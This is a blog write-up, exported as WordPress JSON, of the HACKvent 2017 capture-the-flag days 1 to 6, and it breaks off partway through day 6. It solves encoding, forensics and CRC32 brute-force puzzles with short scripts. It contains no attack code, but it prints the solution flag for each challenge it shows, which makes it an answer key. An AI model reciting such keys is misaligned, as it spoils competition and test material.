{"id":175,"date":"2018-01-01T18:28:55","date_gmt":"2018-01-01T18:28:55","guid":{"rendered":"https:\/\/devel0pment.de\/?p=175"},"modified":"2019-01-03T20:47:27","modified_gmt":"2019-01-03T20:47:27","slug":"hackvent17-writeup","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=175","title":{"rendered":"HACKvent17 writeup"},"content":{"rendered":"<style>\n  .spanFlag {\n    color:#0000ff;\n    font-weight:bold;\n  }\n<\/style>\n<p>As every year <a href=\"https:\/\/www.hacking-lab.com\/index.html\" rel=\"noopener\" target=\"_blank\">hacking-lab.com<\/a> carried out the annual <b>HACKvent<\/b> challenge. Each day from the 1st of december until the 24th a new challenge is published. The difficulty raises from day to day. After all I managed to solve 20 of 24 tasks:<\/p>\n<table style=\"display:table-cell;vertical-align:top;\">\n<tr>\n<td width=\"45\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/easy_64.png\" alt=\"\" width=\"40\" height=\"40\" class=\"alignnone size-full wp-image-188\" \/><\/td>\n<td><span style=\"font-size:larger; font-weight:bold; color:#00ff00; text-shadow:1px 1px #000000;\">Easy<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\">\n<a href=\"https:\/\/devel0pment.de\/?p=175#day01\"><b>Day 01:<\/b> 5th anniversary<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day02\"><b>Day 02:<\/b> Wishlist<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day03\"><b>Day 03:<\/b> Strange Logcat Entry<\/a><\/td>\n<\/tr>\n<tr>\n<td><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"40\" height=\"40\" class=\"alignnone size-full wp-image-204\" \/><\/td>\n<td><span style=\"font-size:larger; font-weight:bold; color:#ffff00; text-shadow:1px 1px #000000;\">Medium<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\">\n<a href=\"https:\/\/devel0pment.de\/?p=175#day04\"><b>Day 04:<\/b> HoHoHo<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day05\"><b>Day 05:<\/b> Only one hint<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day06\"><b>Day 06:<\/b> Santa&#8217;s journey<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day07\"><b>Day 07:<\/b> i know &#8230;<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day08\"><b>Day 08:<\/b> True 1337s<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day09\"><b>Day 09:<\/b> JSONion<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day10\"><b>Day 10:<\/b> Just play the game<\/a><\/td>\n<\/tr>\n<tr>\n<td><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hard_64.png\" alt=\"\" width=\"40\" height=\"40\" class=\"alignnone size-full wp-image-207\" \/><\/td>\n<td><span style=\"font-size:larger; font-weight:bold; color:#ffa500; text-shadow:1px 1px #000000;\">Hard<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\">\n<a href=\"https:\/\/devel0pment.de\/?p=175#day11\"><b>Day 11:<\/b> Crypt-o-Math 2.0<\/a><br \/>\n<span style=\"color:#bbbbbb;\"><b>Day 12:<\/b> giftlogistics<\/span><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day13\"><b>Day 13:<\/b> muffin_asm<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day14\"><b>Day 14:<\/b> Happy Cryptmas<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day15\"><b>Day 15:<\/b> Unsafe Gallery<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day16\"><b>Day 16:<\/b> Try to escape &#8230;<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day17\"><b>Day 17:<\/b> Portable NotExecutable<\/a><\/td>\n<\/tr>\n<tr>\n<td><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/final_64.png\" alt=\"\" width=\"40\" height=\"40\" class=\"alignnone size-full wp-image-209\" \/><\/td>\n<td><span style=\"font-size:larger; font-weight:bold; color:#ff0000; text-shadow:1px 1px #000000;\">Final<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\">\n<a href=\"https:\/\/devel0pment.de\/?p=175#day18\"><b>Day 18:<\/b> I want to play a Game (Reloaded)<\/a><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day19\"><b>Day 19:<\/b> Cryptolocker Ransomware<\/a><br \/>\n<span style=\"color:#bbbbbb;\"><b>Day 20:<\/b> linux malware<\/span><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day21\"><b>Day 21:<\/b> tamagotchi<\/a><br \/>\n<span style=\"color:#bbbbbb;\"><b>Day 22:<\/b> frozen flag<\/span><br \/>\n<a href=\"https:\/\/devel0pment.de\/?p=175#day23\"><b>Day 23:<\/b> only perl can parse Perl<\/a><br \/>\n<span style=\"color:#bbbbbb;\"><b>Day 24:<\/b> Chatterbox<\/span><\/td>\n<\/tr>\n<\/table>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"day01\">Day 01: 5th anniversary<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: M.<\/span><br \/><i>time to have a look back<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv14-15-16-1024x66.png\" alt=\"\" width=\"525\" height=\"34\" class=\"alignnone size-large wp-image-311\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv14-15-16-1024x66.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv14-15-16-300x19.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv14-15-16-768x50.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv14-15-16.png 1886w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/td>\n<\/tr>\n<\/table>\n<p>The provided image already gives us the first two parts of the flag (<code><span class=\"spanFlag\">5YRS-4evr<\/span><\/code>).<\/p>\n<p>According the image the 3rd part seems to be taken from the flag of the first challenge from HACKvent 2014, the 4th from HACKvent 2015 and the 5th from HACKvent 2016.<\/p>\n<p>Just googling for writeups from the past challenges results in the following pages providing the flags of the past challenges:<\/p>\n<p><u>HACKvent 2014<\/u><br \/>\nhttps&#x3a;\/\/github.com\/shiltemann\/CTF-writeups-public\/blob\/master\/Hackvent_2014\/dec01.md<br \/>\nFlag: <code><b>HV24-BAAJ-6ZtK-<span class=\"spanFlag\">IJHy<\/span>-bABB-YoMw<\/b><\/code><\/p>\n<p><u>HACKvent 2015<\/u><br \/>\nhttps&#x3a;\/\/mohammadg.com\/capture-the-flag\/hacking-lab\/hackvent-2015\/hv15-day-1\/<br \/>\nFlag: <code><b>HV15-Tz9K-4JIJ-EowK-<span class=\"spanFlag\">oXP1<\/span>-NUYL<\/b><\/code><\/p>\n<p><u>HACKvent 2016<\/u><br \/>\nhttps&#x3a;\/\/thevamp.cc\/wp-content\/uploads\/downloads\/2017\/03\/HV16-Writeup.pdf<br \/>\nFlag: <code><b>HV16-t8Kd-38aY-QxL5-bn4K-<span class=\"spanFlag\">c6Lw<\/span><\/b><\/code><\/p>\n<p>Thus the final flag is:<br \/>\n<code><span class=\"spanFlag\">HV17-5YRS-4evr-IJHy-oXP1-c6Lw<\/span><\/code><\/p>\n<hr \/>\n<h1 id=\"day02\">Day 02: Wishlist<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><\/center>\n<\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: avarx<\/span><br \/>\n<i>The fifth power of two<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">Something happened to my wishlist, please help me.<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">Get the Wishlist<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The challenge provides a text-file (<code>Whistlist.txt<\/code>) which contains some base64-encoded data:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# tail -c 200 Wishlist.txt \r\naFBWVkpwVWpOUk1WZHNWbUZoTWtaMFUydGtWR0p0T1V4V2JUQjRUa1pT\r\nCmMxUllhRmhpYXpWWFdXdGtVMVF4V25SbFNHTkxDbFpxUmxwbFYxWkdaRWRvVGxK\r\nRldsaFdSM1J2WkRGa2RGTnUKVWxCV1JUVlhWRlJLVTAxc1ZrZFNibHBSVlZjNE9V\r\nTm5QVDBLCg==\r\n<\/pre>\n<p>Decoding the provided contents of the file leads to yet another base64-string:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# cat Wishlist.txt | base64 -d | tail -c 200\r\nYXpWWUNsbHNhRzlsYkd3MlVteGthazFY\r\nZEROYQpSVnByVmpBd2VXRkhPVVJpUjNRMVdsVmFhMkZ0U2tkVGJtOUxWbTB4TkZS\r\nc1RYaFhiazVXWWtkU1QxWnRlSGNLClZqRlplV1ZGZEdoTlJFWlhWR3RvZDFkdFNu\r\nUlBWRTVXVFRKU01sVkdSblpRVVc4OUNnPT0K\r\n<\/pre>\n<p>Repeatedly decoding the output of the last decoding seems to always yield another base64-encoded string.<\/p>\n<p>The challenges description mentions <i>The fifth power of two<\/i>, which points to the solution that the string must be decoded 2^5 = 32 times.<\/p>\n<p>Thus I wrote following python-script, which takes the original file-content and base64-decodes it 32 times:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nimport base64\r\n\r\nf = open(&amp;amp;amp;amp;quot;Wishlist.txt&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;r&amp;amp;amp;amp;quot;)\r\n\r\ncontent = f.read()\r\n\r\nfor i in range(32):\r\n  content = base64.b64decode(content)\r\n\r\nprint(content)\r\n<\/pre>\n<p>Running the script yields the flag:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~# .\/wish.py\r\nHV17-Th3F-1fth-Pow3-r0f2-is32\r\n<\/pre>\n<p>The flag is <code><span class=\"spanFlag\">HV17-Th3F-1fth-Pow3-r0f2-is32<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day03\">Day 03: Strange Logcat Entry<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><\/center>\n<\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: pyth0n33<\/span><br \/>\n<i>Lost in messages<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">I found those strange entries in my Android logcat, but I don&#8217;t know what it&#8217;s all about&#8230; I just want to read my messages!<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">Get the logcat<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The challenge provides an android logcat-file. The file contains 3315 lines. The challenge description <i>Lost in messages<\/i> suggests, that we must find the relevant information within a lot of unnecessary stuff.<\/p>\n<p>Another point to notice (I only figured out later) is that the 03.12.2017 has been the 25th anniversay of the short message service (sms).<\/p>\n<p>After scrolling the logfile the following line caught my attention:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n11-13 20:40:24.044\t137\t  137  DEBUG: I 07914400000000F001000B913173317331F300003AC7F79B0C52BEC52190F37D07D1C3EB32888E2E838CECF05907425A63B7161D1D9BB7D2F337BB459E8FD12D188CDD6E85CFE931\r\n<\/pre>\n<p>Because the hidden flag has to be encoded in the log somehow and all other log entries don&#8217;t really seem to contain encoded information or any references, this entry seems right.<\/p>\n<p>Scrolling a little but more up there is another entry for the same pid (<code>137<\/code>):<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n11-13 20:40:13.542\t 137   137 I DEBUG\t : \t\t\tFAILED TO SEND RAW PDU MESSAGE\r\n<\/pre>\n<p>Now it seems obvious that the message is an encoded sms (in PDU format).<\/p>\n<p>Copy-pasting the hex-dump to an online-decoder (https:\/\/smspdu.benjaminerhart.com\/) reveales the following User Data:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nGood Job! Now take the Flag: HV17-th1s-isol-dsch-00lm-agic\r\n<\/pre>\n<p>The flag is <code><span class=\"spanFlag\">HV17-th1s-isol-dsch-00lm-agic<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day04\">Day 04: HoHoHo<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><\/center>\n<\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: inik<\/span><br \/>\n<i>NOTE: New easyfied attachment available<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">Santa has hidden something for you <span style=\"color:#888888;text-decoration:underline;\">here<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The challenge has been updated at 09:45. The PDF-file has been adjusted to make it easier to retrieve the flag. In the following description I used the updated version of the file (<code>Hohoho_medium.pdf<\/code>).<\/p>\n<p>There are many ways to hide information within a PDF-file which made this task quite challenging.<\/p>\n<p>After trying a view pdf-utilites (<code>pdfinfo<\/code>, <code>pdfimages<\/code>, <code>pdftotext<\/code>, &#8230;) and analysing the embedded images I decided to analyse the file with <code>binwalk<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~# binwalk HoHoHo_medium.pdf\r\n\r\nDECIMAL       HEXADECIMAL     DESCRIPTION\r\n--------------------------------------------------------------------------------\r\n0             0x0             PDF document, version: &amp;amp;amp;amp;quot;1.4&amp;amp;amp;amp;quot;\r\n278           0x116           Zlib compressed data, default compression\r\n1687          0x697           Unix path: \/Subtype\/Image\/Type\/XObject\/Filter\/FlateDecode\/Width 179\/Height 278\/BitsPerComponent 8\/Length 17539\/ColorSpace\/DeviceRGB\/SMask 1\r\n1831          0x727           Zlib compressed data, default compression\r\n19416         0x4BD8          Unix path: \/Subtype\/Image\/Type\/XObject\/Filter\/FlateDecode\/Width 179\/Height 278\/BitsPerComponent 8\/Length 949\/ColorSpace\/DeviceGray&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;stream\r\n19545         0x4C59          Zlib compressed data, default compression\r\n20583         0x5067          Zlib compressed data, default compression\r\n30744         0x7818          Zlib compressed data, default compression\r\n31451         0x7ADB          Unix path: \/Type\/EmbeddedFile\/Subtype\/text#2Fplain\/Length 23780\/Params&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt;\/Size 97873\/CreationDate(D:20171204092920+01'00')\/ModDate(D:2017120\r\n31671         0x7BB7          Zlib compressed data, default compression\r\n55554         0xD902          Zlib compressed data, default compression\r\n56801         0xDDE1          Zlib compressed data, default compression\r\n<\/pre>\n<p>The file contains a few zlib-containers we should to have a closer look at. With the <code>binwalk<\/code> option <code>-D<\/code> the containers can be extracted:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~# binwalk -D &amp;amp;amp;amp;quot;zlib&amp;amp;amp;amp;quot; HoHoHo_medium.pdf\r\nroot@host:~# cd _HoHoHo_medium.pdf.extracted\r\nroot@host:~\/_HoHoHo_medium.pdf.extracted# file *\r\n116:  zlib compressed data\r\n4C59: zlib compressed data\r\n5067: zlib compressed data\r\n727:  zlib compressed data\r\n7818: zlib compressed data\r\n7BB7: zlib compressed data\r\nD902: zlib compressed data\r\nDDE1: zlib compressed data\r\n<\/pre>\n<p>The extracted containers can be decompressed with gzip by prepending the gzip magic number and the compression method:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~\/_HoHoHo_medium.pdf.extracted# printf &amp;amp;amp;amp;quot;\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00&amp;amp;amp;amp;quot; | cat - 116 | gzip -dc &amp;amp;amp;amp;gt; 116_unzipped\r\n\r\ngzip: stdin: invalid compressed data--crc error\r\n\r\ngzip: stdin: invalid compressed data--length error\r\n<\/pre>\n<p>Though gzip raises two errors the file has been decompressed. Repeat this for all extracted containers (e.g. with a shell-script). Now we can use file to see what data actually resides within the containers:<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~\/_HoHoHo_medium.pdf.extracted# file *\r\n116_unzipped:  ASCII text, with very long lines\r\n4C59_unzipped: data\r\n5067_unzipped: TrueType Font data, 12 tables, 1st &amp;amp;amp;amp;quot;cmap&amp;amp;amp;amp;quot;, 30 names, Macintosh, Digitized data copyright \\251 2007, Google Corporation.Droid Sans RegularRegularFontForge 2.0 : \r\n727_unzipped:  data\r\n7818_unzipped: ASCII text\r\n7BB7_unzipped: Spline Font Database version 3.0\r\nD902_unzipped: data\r\nDDE1_unzipped: data\r\n<\/pre>\n<p><code>file<\/code> identified plain ASCII text, data and fonts. After searching a little bit through the data, I stumbled upon the following:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~\/_HoHoHo_medium.pdf.extracted# strings D902_unzipped\r\n...\r\n&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt;\/Type\/Filespec\/Desc()\/EF&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt;\/F 21 0 R &amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;\/UF(DroidSans-HACKvent.sfd)\/F(DroidSans-HACKvent.sfd)&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt;\/EmbeddedFiles 24 0 R &amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt;\/Names&#x5B;(\r\nd) 22 0 R ]&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt;\r\n<\/pre>\n<p>There is a reference to a file named <i>DroidSans-HACKvent.sfd<\/i>. The name suggests that this is a custom font for the HACKvent challenge. So I decided to focus on the extracted fonts.<\/p>\n<p>Examining the <i>Spline Font Database version 3.0<\/i> (7BB7_unzipped) the following lines caught my attention:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~\/_HoHoHo_medium.pdf.extracted# strings 7BB7_unzipped\r\n...\r\nStartChar: d\r\nEncoding: 27 100 27\r\n...\r\nSplineSet\r\n852 147 m 1,0,-1\r\n 844 147 l 1,1,2\r\n 822 113 822 113 792.5 82.5 c 128,-1,3\r\n 763 52 763 52 724.5 29 c 128,-1,4\r\n 686 6 686 6 638 -7 c 128,-1,5\r\n...\r\n\r\nStartChar: f\r\nEncoding: 28 102 28\r\n...\r\n\r\nStartChar: uni0080\r\nEncoding: 45 128 45\r\n...\r\n\r\nStartChar: uni0081\r\nEncoding: 46 129 46\r\n...\r\n\r\nStartChar: uni009C\r\nEncoding: 73 156 73\r\n<\/pre>\n<p>At the beginning of the file usual ASCII-characters, which are used within the PDF-File, are defined (e.g. &#8216;d&#8217; and &#8216;f&#8217;). The SplineSet after each character describes the appearance of the character. What seemed strange is that after the usual ASCII-characters a few unicode-characters are described ranging from 0080 up to 009c. The count of these characters (=29) coincidentally match the character count necessary for a valid flag (HV17-xxxx-xxxx-xxxx-xxxx).<\/p>\n<p>After converting the file from SFD to TrueType-Font (ttf) and viewing the font in libre office the assumption that these characters form the flag were confirmed:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv04.png\" alt=\"\" width=\"699\" height=\"403\" class=\"alignnone size-full wp-image-288\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv04.png 699w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hv04-300x173.png 300w\" sizes=\"(max-width: 699px) 100vw, 699px\" \/><\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-RP7W-DU6t-Z3qA-jwBz-jItj<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day05\">Day 05: Only one hint<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: HaRdLoCk<\/span><br \/>\n<i>OK, 2nd hint: Its XOR not MOD<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">Here is your flag:<\/p>\n<p><code><b>0x69355f71<br \/>\n0xc2c8c11c<br \/>\n0xdf45873c<br \/>\n0x9d26aaff<br \/>\n0xb1b827f4<br \/>\n0x97d1acf4<\/b><\/code><\/p>\n<p>and the one and only hint:<\/p>\n<p><code><b>0xFE8F9017 XOR 0x13371337<\/b><\/code><\/td>\n<\/tr>\n<\/table>\n<p>The challenge has been updated at 13:00. The hint formerly contained % (Modulo) instead of XOR.<\/p>\n<p>The flag-format (HV17-xxxx-xxxx-xxxx-xxxx-xxxx) consist of 6 x 4-byte blocks (including <code>\"HV17\"<\/code>).<\/p>\n<p>Because the description states <i>Here is your flag<\/i> followed by 6 x 4-byte hex values, it seems likely that each 4-byte hex value is connected to one block of the flag. Thus the first 4-byte hex value should be connected to <code>\"HV17\"<\/code>.<\/p>\n<p>The big question was how to transform the hex values into the flag and how the hint can help us here.<\/p>\n<p>After the % was changed to an XOR I calculated the result of the hint:<\/p>\n<pre>0xFE8F9017 XOR 0x13371337 = 0xEDB88320<\/pre>\n<p>Googling for the resulting value <code>0xEDB88320<\/code> revealed that the value is a bit-mask used in the CRC32-algorithm.<\/p>\n<p>This hint was very valuable. The 4-byte hex values seems to be CRC32-checksums of the corresponding part of the flag.<\/p>\n<p>I verified the assumption using the <code>crc32<\/code> tool:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@host:~# cat flag_part0\r\nHV17root@host:~# crc32 flag_part0\r\n69355f71\r\n<\/pre>\n<p>The calculated checksum for <code>\"HV17\"<\/code> matches the first 4-byte hex value!<\/p>\n<p>While its quite easy to do this for the first part of the flag (which we already know is <code>\"HV17\"<\/code>), the following parts of the flag can be bruteforced.<\/p>\n<p>I wrote the following python-script to iterate over all 4-character combinations of the possible flag-parts, calculate the crc32-checksum and compare this to the given 4-byte hex values:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\nimport zlib\r\n\r\nSTART = 31\r\nEND   = 127\r\n\r\nfor a in range(START, END):\r\n  for b in range(START, END):\r\n    for c in range(START, END):\r\n      for d in range(START, END):\r\n\r\n        txt = chr(a) + chr(b) + chr(c) + chr(d)\r\n        tmp = zlib.crc32(txt) % (1&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt;32)\r\n\r\n        if (tmp == 0x69355f71): print(&amp;amp;amp;amp;quot;hv = &amp;amp;amp;amp;quot; + txt)\r\n        if (tmp == 0xc2c8c11c): print(&amp;amp;amp;amp;quot;f1 = &amp;amp;amp;amp;quot; + txt)\r\n        if (tmp == 0xdf45873c): print(&amp;amp;amp;amp;quot;f2 = &amp;amp;amp;amp;quot; + txt)\r\n        if (tmp == 0x9d26aaff): print(&amp;amp;amp;amp;quot;f3 = &amp;amp;amp;amp;quot; + txt)\r\n        if (tmp == 0xb1b827f4): print(&amp;amp;amp;amp;quot;f4 = &amp;amp;amp;amp;quot; + txt)\r\n        if (tmp == 0x97d1acf4): print(&amp;amp;amp;amp;quot;f5 = &amp;amp;amp;amp;quot; + txt)\r\n<\/pre>\n<p>Running the script resulted in the following output:<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~# .\/crack.py \r\nf1 = 7pKs\r\nhv = HV17\r\nf5 = Qlt6\r\nf4 = h4rp\r\nf3 = o6wF\r\nf2 = whyz\r\n<\/pre>\n<p>The flag is <code><span class=\"spanFlag\">HV17-7pKs-whyz-o6wF-h4rp-Qlt6<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day06\">Day 06: Santa&#8217;s journey<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: avarx<\/span><br \/>\n<i>Make sure Santa visits every country<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">Follow Santa Claus as he makes his journey around the world. <span style=\"color:#888888;text-decoration:underline;\">Link<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The provided link lead to a website which contains an image showing a QR-code.<\/p>\n<p>I scanned the QR-code online (https:\/\/zxing.org\/w\/decode) which yield the string <code>Uzbekistan<\/code>.<\/p>\n<p>After reloading the page, another QR-code was displayed containing the string <code>Zambia<\/code>.<\/p>\n<p>The challenge description says <i>Make sure Santa visits every country<\/i>. Thus I decided to write a python-script which loads the QR-code, collects the country-string, reloads the image, collects the country-string, and so forth:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\nimport subprocess\r\nimport time\r\n\r\nwhile True:\r\n\r\n  # GET IMAGE FROM WEBSITE\r\n  ret = subprocess.check_output(&#x5B;&amp;amp;amp;amp;quot;curl&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;http:\/\/challenges.hackvent.hacking-lab.com:4200\/image.png&amp;amp;amp;amp;quot;])\r\n  f = open(&amp;amp;amp;amp;quot;raw.png&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n  f.write(ret)\r\n  f.close()\r\n\r\n  # UPLOAD NEW IMAGE AND GET QR-CODE (=KEY)\r\n  ret = subprocess.check_output(&#x5B;&amp;amp;amp;amp;quot;curl&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;https:\/\/zxing.org\/w\/decode&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;-F&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;f=@raw.png&amp;amp;amp;amp;quot;])\r\n  country = ret.split(&amp;amp;amp;amp;quot;Parsed Result&amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;pre&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;,1)&#x5B;1]\r\n  country = country.split(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;\/pre&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/tr&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/table&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;,1)&#x5B;0]\r\n  print(country)\r\n\r\n  # WAIT ONE SECOND FOR NEXT COUNTRY\r\n  time.sleep(1)\r\n<\/pre>\n<p>After the script collected countries for about 1-2 minutes it finally collected the flag:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/qr.py \r\nWallis and Futuna Islands\r\nVatican\r\nBahamas\r\nNew Caledonia\r\nMacedonia\r\nGibraltar\r\nMongolia\r\nBotswana\r\nFaroe Islands\r\nArgentina\r\nNicaragua\r\nMontserrat\r\nBouvet Island\r\nMauritania\r\nLuxembourg\r\nAntigua and Barbuda\r\nMadagascar\r\nWallis and Futuna Islands\r\n...\r\nHV17-eCFw-J4xX-buy3-8pzG-kd3M\r\n<\/pre>\n<p>The flag is <code><span 